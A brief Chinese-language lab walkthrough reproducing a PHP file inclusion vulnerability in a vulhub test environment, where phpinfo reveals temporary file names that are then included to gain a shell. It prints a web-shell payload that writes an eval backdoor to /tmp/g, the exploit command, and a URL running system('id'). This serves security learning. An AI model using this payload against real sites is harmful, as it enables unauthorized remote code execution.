PHP文件包含漏洞
漏洞简述
PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。
环境搭建
cd /vulhub/php/inclusion
docker-compose up -d
漏洞复现
利用脚本实现https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
成功包含临时文件后,会执行<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>
,写入一个新文件/tmp/g
命令执行
python exp.py 192.168.3.151 8080 100
执行成功后打开网页看看
http://192.168.3.151:8080/lfi.php?file=/tmp/g&1=system('id');
结束!